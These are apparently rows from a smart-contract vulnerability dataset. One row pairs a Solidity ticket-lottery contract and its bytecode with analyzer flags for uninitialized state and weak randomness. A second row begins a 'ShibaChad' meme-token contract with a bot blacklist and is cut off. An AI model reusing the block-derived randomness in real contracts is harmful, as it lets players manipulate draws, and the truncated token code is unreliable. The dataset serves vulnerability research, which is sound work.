uint256 gotBTickets = inviteeCount[player].div(200);
uint256 gotPTickets = inviteeCount[player].div(400);
if(inviteeAccumulator[player].div(10**17) >= gotTickets){
gotTickets = inviteeAccumulator[player].div(10**17)+ownerAccWei[player].div(10**16);
}
if(inviteeAccumulator[player].div(((10**18)*5)) >= gotMTickets){
gotMTickets = inviteeAccumulator[player].div(((10**18)*5));
}
if(inviteeAccumulator[player].div(((10**18)*10)) >= gotBTickets){
gotBTickets = inviteeAccumulator[player].div(((10**18)*10));
}
if(inviteeAccumulator[player].div(((10**18)*20)) >= gotPTickets){
gotPTickets = inviteeAccumulator[player].div(((10**18)*20));
}
createTicket(player, gotTickets - ownerTicketCount[player]);
createMiniTicket(player, gotMTickets - ownerMiniCount[player]);
createBenzTicket(player, gotBTickets - ownerBenzCount[player]);
createPorscheTicket(player, gotPTickets - ownerPorscheCount[player]);
}
} | 0x6080604052600436106102505763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630ac2ffc58114610255578063147a583e146102c657806318cfa483146102ed5780631fea3db814610313578063296b76bb14610334578063299131501461035d5780632b08e8241461038157806337e32e64146103b55780633c4b5e2b146103d657806340c3198e146103fa578063467edd461461041b57806350b44712146104335780635133193c1461044b5780635732942414610463578063587074b41461048457806359328401146104a55780635a6e0fc71461050157806360bea67214610519578063679aefce1461053d57806367aa23e2146105785780636ef1f3a614610599578063715018a6146105b157806374e9544b146105c65780637695dcfb146105de57806378872df0146105f65780637a84c3661461060b5780638da5cb5b146106235780638e9f0c46146106385780639032f1a91461064d5780639068ddf214610671578063924fdaf61461068657806397aeb7ad1461069b5780639a9f1304146106c25780639be50784146106d75780639da1bc7b146106ec578063a12e55d91461070d578063a13615a514610722578063a1f7c29214610743578063ab400d861461075b578063d445a67114610786578063de81a869146107a7578063ded1d0b8146107bc578063e489c3b7146107e0578063ec000bb5146107f5578063f2fde38b1461080a578063f4bd07151461082b578063f4f6156314610840578063f71d96cb14610864578063ff40807b1461087c575b600080fd5b34801561026157600080fd5b50610276600160a060020a0360043516610891565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156102b257818101518382015260200161029a565b505050509050019250505060405180910390f35b3480156102d257600080fd5b506102db610952565b60408051918252519081900360200190f35b3480156102f957600080fd5b50610311600160a060020a0360043516602435610958565b005b34801561031f57600080fd5b506102db600160a060020a0360043516610b73565b34801561034057600080fd5b50610349610b85565b604080519115158252519081900360200190f35b34801561036957600080fd5b50610311600160a060020a0360043516602435610ce6565b34801561038d57600080fd5b50610399600435610daf565b60408051600160a060020a039092168252519081900360200190f35b3480156103c157600080fd5b506102db600160a060020a0360043516610dca565b3480156103e257600080fd5b50610311600160a060020a0360043516602435610ddc565b34801561040657600080fd5b50610276600160a060020a0360043516610e1b565b34801561042757600080fd5b506102db600435610ed3565b34801561043f57600080fd5b506102db600435610ef2565b34801561045757600080fd5b506102db600435610f00565b34801561046f57600080fd5b50610276600160a060020a0360043516610f0e565b34801561049057600080fd5b50610349600160a060020a0360043516610fc6565b3480156104b157600080fd5b506104c6600160a060020a0360043516610fdb565b60408051968752602087019590955292151585850152600160a060020a039091166060850152608084015260a0830152519081900360c00190f35b34801561050d57600080fd5b506102db600435611035565b34801561052557600080fd5b50610311600160a060020a0360043516602435611043565b34801561054957600080fd5b50610552611106565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561058457600080fd5b50610276600160a060020a0360043516611130565b3480156105a557600080fd5b506102db6004356111e8565b3480156105bd57600080fd5b506103116113f9565b3480156105d257600080fd5b50610399600435611458565b3480156105ea57600080fd5b50610399600435611473565b34801561060257600080fd5b506102db61148e565b34801561061757600080fd5b50610399600435611494565b34801561062f57600080fd5b506103996114bc565b34801561064457600080fd5b506102db6114cb565b34801561065957600080fd5b50610311600160a060020a03600435166024356114d1565b34801561067d57600080fd5b506102db611594565b34801561069257600080fd5b5061034961159a565b3480156106a757600080fd5b5061031160ff60043516600160a060020a036024351661167f565b3480156106ce57600080fd5b506103496116c1565b3480156106e357600080fd5b506103496117a6565b3480156106f857600080fd5b50610311600160a060020a036004351661188b565b34801561071957600080fd5b50610349611c3d565b34801561072e57600080fd5b50610311600160a060020a0360043516611cde565b34801561074f57600080fd5b50610399600435612441565b34801561076757600080fd5b506102db600160a060020a03600435811690602435906044351661245c565b34801561079257600080fd5b506102db600160a060020a0360043516612892565b3480156107b357600080fd5b506102db6128a4565b3480156107c857600080fd5b50610311600160a060020a03600435166024356128aa565b3480156107ec57600080fd5b506102db61296d565b34801561080157600080fd5b50610276612973565b34801561081657600080fd5b50610311600160a060020a03600435166129cb565b34801561083757600080fd5b506102db6129ee565b34801561084c57600080fd5b50610311600160a060020a03600435166024356129f4565b34801561087057600080fd5b50610399600435612a2f565b34801561088857600080fd5b50610552612a3d565b606080600080600e600086600160a060020a0316600160a060020a03168152602001908152602001600020546040519080825280602002602001820160405280156108e6578160200160208202803883390190505b50925060009150600090505b600454811015610949576000818152600a6020526040902054600160a060020a03868116911614156109415780600101838381518110151561093057fe5b602090810290910101526001909101905b6001016108f2565b50909392505050565b601e5481565b60008054600160a060020a0316331461097057600080fd5b50600160a060020a038083166000908152601660209081526040808320805460ff1916600117905560118252808320546014909252909120549116906109bc908363ffffffff612a4f16565b600160a060020a038416600090815260146020908152604090912091909155546109ec908363ffffffff612a4f16565b6020908155600160a060020a038216600090815260129091526040902054610a1b90600163ffffffff612a4f16565b600160a060020a038216600090815260126020908152604080832093909355601390522054610a50908363ffffffff612a4f16565b600160a060020a038083166000908152601360209081526040808320949094559186168152600d9091522054602454610a8e9163ffffffff612a6116565b602455600160a060020a0383166000908152600e6020526040902054602554610abc9163ffffffff612a6116565b602555600160a060020a0383166000908152600f6020526040902054602654610aea9163ffffffff612a6116565b602655600160a060020a038316600090815260106020526040902054602754610b189163ffffffff612a6116565b602755610b2481611cde565b60408051600160a060020a0380861682526020820185905283168183015290517fe9f02d82ea9ce8f3676d21875467ec330450756600575726e8d8961ba86e13c09181900360600190a1505050565b60076020526000908152604090205481565b6000805481908190600160a060020a03163314610ba157600080fd5b600354610bad906111e8565b600081815260096020908152604080832054600160a060020a03168352601690915290205490925060ff16151560011415610beb5760009250610ce1565b60008281526017602052604090205460ff16151560011415610c105760009250610ce1565b601b80546001810182556000919091527f3ad8aa4f87544323a9d1e5dd902f40c356527a7955687113db5f9a85ad579dc101829055610c4f60036111e8565b601c8054600181019091557f0e4562a10381dec21b205ed72637e6b1b523bdd0e4d4d50af5cd23dd4500a21101819055601b54600084815260096020908152604091829020548251938452600160a060020a031690830152818101839052519192507f336d80c27636874c0ad892db554e228e97fbb465e8b8defc5b6832df5680ac88919081900360600190a1600192505b505090565b600080548190600160a060020a03163314610d0057600080fd5b600091505b82821015610da95750600380546001808201928390557fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b82019290925560008181526009602090815260408083208054600160a060020a031916600160a060020a038a169081179091558352600d9091529020549091610d859190612a61565b600160a060020a0385166000908152600d6020526040902055600190910190610d05565b50505050565b600960205260009081526040902054600160a060020a031681565b60086020526000908152604090205481565b600054600160a060020a03163314610df357600080fd5b600160a060020a0382166000908152601360205260409020819055610e178261188b565b5050565b606080600080600f600086600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015610e70578160200160208202803883390190505b50925060009150600090505b600554811015610949576000818152600b6020526040902054600160a060020a0386811691161415610ecb57806001018383815181101515610eba57fe5b602090810290910101526001909101905b600101610e7c565b6004805482908110610ee157fe5b600091825260209091200154905081565b6003805482908110610ee157fe5b6005805482908110610ee157fe5b6060806000806010600086600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015610f63578160200160208202803883390190505b50925060009150600090505b600654811015610949576000818152600c6020526040902054600160a060020a0386811691161415610fbe57806001018383815181101515610fad57fe5b602090810290910101526001909101905b600101610f6f565b60166020526000908152604090205460ff1681565b600160a060020a03908116600090815260146020908152604080832054601583528184205460168452828520546011855283862054601286528487205460139096529390952054919660ff91821696919095169492169291565b6006805482908110610ee157fe5b600080548190600160a060020a0316331461105d57600080fd5b600091505b82821015610da95750600680546001808201928390557ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f8201929092556000818152600c602090815260408083208054600160a060020a031916600160a060020a038a169081179091558352601090915290205490916110e29190612a61565b600160a060020a038516600090815260106020526040902055600190910190611062565b60245460035460255460045460265460055460275460065496909503969390920394910392900390565b606080600080600d600086600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015611185578160200160208202803883390190505b50925060009150600090505b60035481101561094957600081815260096020526040902054600160a060020a03868116911614156111e0578060010183838151811015156111cf57fe5b602090810290910101526001909101905b600101611191565b60008060006113674361135b42336040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106112655780518252601f199092019160209182019101611246565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561129b57fe5b0461135b4561135b42416040516020018082600160a060020a0316600160a060020a03166c010000000000000000000000000281526014019150506040516020818303038152906040526040518082805190602001908083835b602083106113145780518252601f1990920191602091820191016112f5565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209250505081151561134a57fe5b0461135b424463ffffffff612a6116565b9063ffffffff612a6116565b604051602001808281526020019150506040516020818303038152906040526040518082805190602001908083835b602083106113b55780518252601f199092019160209182019101611396565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209450869250849150508115156113f057fe5b06949350505050565b600054600160a060020a0316331461141057600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a260008054600160a060020a0319169055565b600c60205260009081526040902054600160a060020a031681565b600b60205260009081526040902054600160a060020a031681565b60275481565b60028054829081106114a257fe5b600091825260209091200154600160a060020a0316905081565b600054600160a060020a031681565b60255481565b600080548190600160a060020a031633146114eb57600080fd5b600091505b82821015610da95750600580546001808201928390557f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db08201929092556000818152600b602090815260408083208054600160a060020a031916600160a060020a038a169081179091558352600f90915290205490916115709190612a61565b600160a060020a0385166000908152600f60205260409020556001909101906114f0565b601d5481565b600080548190600160a060020a031633146115b457600080fd5b6006546115c0906111e8565b6000818152600c6020908152604080832054600160a060020a03168352601690915290205490915060ff161515600114156115fe576000915061167b565b6000818152601a602052604090205460ff16151560011415611623576000915061167b565b601f8190556000818152600c6020908152604091829020548251600160a060020a03909116815291517f8d6b54b5981d06a492bcb43610e6317d783b4000b910178b31ab21d7b481393f9281900390910190a1600191505b5090565b600054600160a060020a0316331461169657600080fd5b600160a060020a03166000908152601560205260409020805460ff191660ff92909216919091179055565b600080548190600160a060020a031633146116db57600080fd5b6004546116e7906111e8565b6000818152600a6020908152604080832054600160a060020a03168352601690915290205490915060ff16151560011415611725576000915061167b565b60008181526018602052604090205460ff1615156001141561174a576000915061167b565b601d8190556000818152600a6020908152604091829020548251600160a060020a03909116815291517f9d47da78cf54741352837db1245f84c17e6195bf20274629dd46716f66aac7b19281900390910190a16001915061167b565b600080548190600160a060020a031633146117c057600080fd5b6005546117cc906111e8565b6000818152600b6020908152604080832054600160a060020a03168352601690915290205490915060ff1615156001141561180a576000915061167b565b60008181526019602052604090205460ff1615156001141561182f576000915061167b565b601e8190556000818152600b6020908152604091829020548251600160a060020a03909116815291517f7c444b66b1b15b8c1dc54ca8f3b1321f658ed749a8ab56a182adbe96d03819ee9281900390910190a16001915061167b565b60008054819081908190600160a060020a031633146118a957600080fd5b600160a060020a038516600090815260146020526040902054662386f26fc1000011156118d557611c36565b600160a060020a03851660009081526014602052604090205461190590662386f26fc1000063ffffffff612a7416565b600160a060020a03861660009081526012602052604090205461192f90600a63ffffffff612a7416565b600160a060020a0387166000908152601260205260409020549101945061195d90606463ffffffff612a7416565b600160a060020a03861660009081526012602052604090205490935061198a9060c863ffffffff612a7416565b600160a060020a0386166000908152601260205260409020549092506119b89061019063ffffffff612a7416565b600160a060020a03861660009081526013602052604090205490915084906119ee9067016345785d8a000063ffffffff612a7416565b10611a5857600160a060020a038516600090815260146020526040902054611a2390662386f26fc1000063ffffffff612a7416565b600160a060020a038616600090815260136020526040902054611a549067016345785d8a000063ffffffff612a7416565b0193505b600160a060020a0385166000908152601360205260409020548390611a8b90674563918244f4000063ffffffff612a7416565b10611ac457600160a060020a038516600090815260136020526040902054611ac190674563918244f4000063ffffffff612a7416565b92505b600160a060020a0385166000908152601360205260409020548290611af790678ac7230489e8000063ffffffff612a7416565b10611b3057600160a060020a038516600090815260136020526040902054611b2d90678ac7230489e8000063ffffffff612a7416565b91505b600160a060020a0385166000908152601360205260409020548190611b64906801158e460913d0000063ffffffff612a7416565b10611b9e57600160a060020a038516600090815260136020526040902054611b9b906801158e460913d0000063ffffffff612a7416565b90505b600160a060020a0385166000908152600d6020526040902054611bc49086908603610ce6565b600160a060020a0385166000908152600e6020526040902054611bea90869085036128aa565b600160a060020a0385166000908152600f6020526040902054611c1090869084036114d1565b600160a060020a038516600090815260106020526040902054611c369086908303611043565b5050505050565b600080548190600160a060020a03163314611c5757600080fd5b600354611c63906111e8565b600081815260096020908152604080832054600160a060020a03168352601690915290205490915060ff16151560011415611ca1576000915061167b565b601b8054600181810183556000929092527f3ad8aa4f87544323a9d1e5dd902f40c356527a7955687113db5f9a85ad579dc101829055915061167b565b600080548190819081908190819081908190600160a060020a03163314611d0457600080fd5b600160a060020a038916600090815260146020526040902054611d3490662386f26fc1000063ffffffff612a7416565b600160a060020a038a16600090815260126020526040902054611d5e90600a63ffffffff612a7416565b600160a060020a038b1660009081526012602052604090205491019850611d8c90606463ffffffff612a7416565b600160a060020a038a16600090815260126020526040902054909750611db99060c863ffffffff612a7416565b600160a060020a038a16600090815260126020526040902054909650611de79061019063ffffffff612a7416565b600160a060020a038a166000908152601460205260409020549095508890611e1c90662386f26fc1000063ffffffff612a7416565b600160a060020a038b16600090815260136020526040902054611e4d9067016345785d8a000063ffffffff612a7416565b0110611eb857600160a060020a038916600090815260146020526040902054611e8390662386f26fc1000063ffffffff612a7416565b600160a060020a038a16600090815260136020526040902054611eb49067016345785d8a000063ffffffff612a7416565b0197505b600160a060020a0389166000908152601360205260409020548790611eeb90674563918244f4000063ffffffff612a7416565b10611f2457600160a060020a038916600090815260136020526040902054611f2190674563918244f4000063ffffffff612a7416565b96505b600160a060020a0389166000908152601360205260409020548690611f5790678ac7230489e8000063ffffffff612a7416565b10611f9057600160a060020a038916600090815260136020526040902054611f8d90678ac7230489e8000063ffffffff612a7416565b95505b600160a060020a0389166000908152601360205260409020548590611fc4906801158e460913d0000063ffffffff612a7416565b10611ffe57600160a060020a038916600090815260136020526040902054611ffb906801158e460913d0000063ffffffff612a7416565b94505b600160a060020a0389166000908152600d602052604090205488101561210d57600093505b61202c89611130565b518460ff1610156120cd57601760006120448b611130565b805160ff881690811061205357fe5b602090810290910181015182528101919091526040016000205460ff1615156120c2576001601760006120858c611130565b805160ff891690811061209457fe5b6020908102919091018101518252810191909152604001600020805460ff19169115159190911790556120cd565b600190930192612023565b600160a060020a0389166000908152600d6020526040902054612109906120fa908a63ffffffff612a4f16565b6024549063ffffffff612a6116565b6024555b600160a060020a0389166000908152600e602052604090205487101561221c57600092505b61213b89610891565b518360ff1610156121dc57601760006121538b610891565b805160ff871690811061216257fe5b602090810290910181015182528101919091526040016000205460ff1615156121d1576001601760006121948c610891565b805160ff88169081106121a357fe5b6020908102919091018101518252810191909152604001600020805460ff19169115159190911790556121dc565b600190920191612132565b600160a060020a0389166000908152600e602052604090205461221890612209908963ffffffff612a4f16565b6025549063ffffffff612a6116565b6025555b600160a060020a0389166000908152600f602052604090205486101561232b57600091505b61224a89610e1b565b518260ff1610156122eb57601760006122628b610e1b565b805160ff861690811061227157fe5b602090810290910181015182528101919091526040016000205460ff1615156122e0576001601760006122a38c610e1b565b805160ff87169081106122b257fe5b6020908102919091018101518252810191909152604001600020805460ff19169115159190911790556122eb565b600190910190612241565b600160a060020a0389166000908152600f602052604090205461232790612318908863ffffffff612a4f16565b6026549063ffffffff612a6116565b6026555b600160a060020a038916600090815260106020526040902054851015612436575060005b61235889610f0e565b518160ff1610156123f657601760006123708b610f0e565b805160ff851690811061237f57fe5b602090810290910181015182528101919091526040016000205460ff1615156123ee576001601760006123b18c610f0e565b805160ff86169081106123c057fe5b6020908102919091018101518252810191909152604001600020805460ff19169115159190911790556123f6565b60010161234f565b600160a060020a03891660009081526010602052604090205461243290612423908763ffffffff612a4f16565b6027549063ffffffff612a6116565b6027555b505050505050505050565b600a60205260009081526040902054600160a060020a031681565b6000805481908190819081908190600160a060020a0316331461247e57600080fd5b600160a060020a03891660009081526007602052604090205415156124d0576022546124b190600163ffffffff612a6116565b6022819055600160a060020a038a166000908152600760205260409020555b600160a060020a0389166000908152601460205260409020546124f9908963ffffffff612a6116565b600160a060020a038a1660009081526014602090815260409091209190915554612529908963ffffffff612a6116565b60205560215461253f908963ffffffff612a6116565b602155600160a060020a0389811660009081526011602090815260408083208054600160a060020a031916948c169485179055928252601290522054612586906001612a61565b600160a060020a0388166000908152601260209081526040808320939093556013905220546125bb908963ffffffff612a6116565b600160a060020a0388166000908152601360209081526040808320939093556008905220541515612619576023546125fa90600163ffffffff612a6116565b6023819055600160a060020a0388166000908152600860205260409020555b600160a060020a03891660009081526015602052604090205460ff16151561276857600160a060020a03891660009081526014602052604090205461266c90670de0b6b3a764000063ffffffff612a7416565b600160a060020a038a166000908152601460205260409020549095506126b3906002906126a790670de0b6b3a764000063ffffffff612a7416565b9063ffffffff612a7416565b600160a060020a038a166000908152601460205260409020549094506126ee906005906126a790670de0b6b3a764000063ffffffff612a7416565b600160a060020a038a166000908152600e6020526040902054909350612717908a9087036128aa565b600160a060020a0389166000908152600f602052604090205461273d908a9086036114d1565b600160a060020a038916600090815260106020526040902054612763908a908503611043565b6127e5565b600160a060020a03891660009081526015602052604090205460ff16600114156127e557600160a060020a0389166000908152601460205260409020546127bc90662386f26fc1000063ffffffff612a7416565b600160a060020a038a166000908152600d60205260409020549092506127e5908a908403610ce6565b600160a060020a03891660009081526015602052604090205460ff166002141561286b57600160a060020a03891660009081526014602052604090205461283990662386f26fc1000063ffffffff612a7416565b600160a060020a038a166000908152600d6020526040902054909150612862908a908303610ce6565b61286b8961188b565b600160a060020a038916600090815260146020526040902054955050505050509392505050565b60146020526000908152604090205481565b60245481565b600080548190600160a060020a031633146128c457600080fd5b600091505b82821015610da95750600480546001808201928390557f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b8201929092556000818152600a602090815260408083208054600160a060020a031916600160a060020a038a169081179091558352600e90915290205490916129499190612a61565b600160a060020a0385166000908152600e60205260409020556001909101906128c9565b601f5481565b6060601b8054806020026020016040519081016040528092919081815260200182805480156129c157602002820191906000526020600020905b8154815260200190600101908083116129ad575b5050505050905090565b600054600160a060020a031633146129e257600080fd5b6129eb81612a89565b50565b60265481565b600054600160a060020a03163314612a0b57600080fd5b600160a060020a0382166000908152601260205260409020819055610e178261188b565b60018054829081106114a257fe5b60205460215460225460235490919293565b600082821115612a5b57fe5b50900390565b81810182811015612a6e57fe5b92915050565b60008183811515612a8157fe5b049392505050565b600160a060020a0381161515612a9e57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a031916600160a060020a03929092169190911790555600a165627a7a723058209831c7f0a04d2a350f8b5eb7789b92005ab0f732ded90a835d2e27ade41346ee0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}} | 10,651 |
0xd39948776684a64139f9320cac4a9f9b21a197a4 | /*
░░░░░░░░░▄░░░░░░░░░░░░░░▄░░░░
░░░░░░░░▌▒█░░░░░░░░░░░▄▀▒▌░░░
░░░░░░░░▌▒▒█░░░░░░░░▄▀▒▒▒▐░░░
░░░░░░░▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐░░░
░░░░░▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐░░░
░░░▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌░░░
░░▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌░░
░░▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐░░
░▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌░
░▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌░
▀▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐░
▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌
▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐░
░▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌░
░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐░░
░░▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌░░
░░░░▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀░░░
░░░░░░▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀░░░░░
░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▀▀░░░░░░░░
https://t.me/ShibaCHAD
⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠛⠛⠋⠉⠈⠉⠉⠉⠉⠛⠻⢿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⢿⣿⣿⣿⣿
⣿⣿⣿⣿⡏⣀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣤⣄⡀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿
⣿⣿⣿⢏⣴⣿⣷⠀⠀⠀⠀⠀⢾⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿
⣿⣿⣟⣾⣿⡟⠁⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⢢⠀⠀⠀⠀⠀⠀⠀⢸⣿
⣿⣿⣿⣿⣟⠀⡴⠄⠀⠀⠀⠀⠀⠀⠙⠻⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⣿
⣿⣿⣿⠟⠻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠶⢴⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⣿
⣿⣁⡀⠀⠀⢰⢠⣦⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⡄⠀⣴⣶⣿⡄⣿
⣿⡋⠀⠀⠀⠎⢸⣿⡆⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⠗⢘⣿⣟⠛⠿⣼
⣿⣿⠋⢀⡌⢰⣿⡿⢿⡀⠀⠀⠀⠀⠀⠙⠿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⣧⢀⣼
⣿⣿⣷⢻⠄⠘⠛⠋⠛⠃⠀⠀⠀⠀⠀⢿⣧⠈⠉⠙⠛⠋⠀⠀⠀⣿⣿⣿⣿⣿
⣿⣿⣧⠀⠈⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠟⠀⠀⠀⠀⢀⢃⠀⠀⢸⣿⣿⣿⣿
⣿⣿⡿⠀⠴⢗⣠⣤⣴⡶⠶⠖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡸⠀⣿⣿⣿⣿
⣿⣿⣿⡀⢠⣾⣿⠏⠀⠠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠉⠀⣿⣿⣿⣿
⣿⣿⣿⣧⠈⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿
⣿⣿⣿⣿⡄⠈⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣦⣄⣀⣀⣀⣀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠙⣿⣿⡟⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠁⠀⠀⠹⣿⠃⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⢐⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⣿⠿⠛⠉⠉⠁⠀⢻⣿⡇⠀⠀⠀⠀⠀⠀⢀⠈⣿⣿⡿⠉⠛⠛⠛⠉⠉
⣿⡿⠋⠁⠀⠀⢀⣀⣠⡴⣸⣿⣇⡄⠀⠀⠀⠀⢀⡿⠄⠙⠛⠀⣀⣠⣤⣤⠄⠀
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBACHAD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "ShibaChad";
string private constant _symbol = "SHIBACHAD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
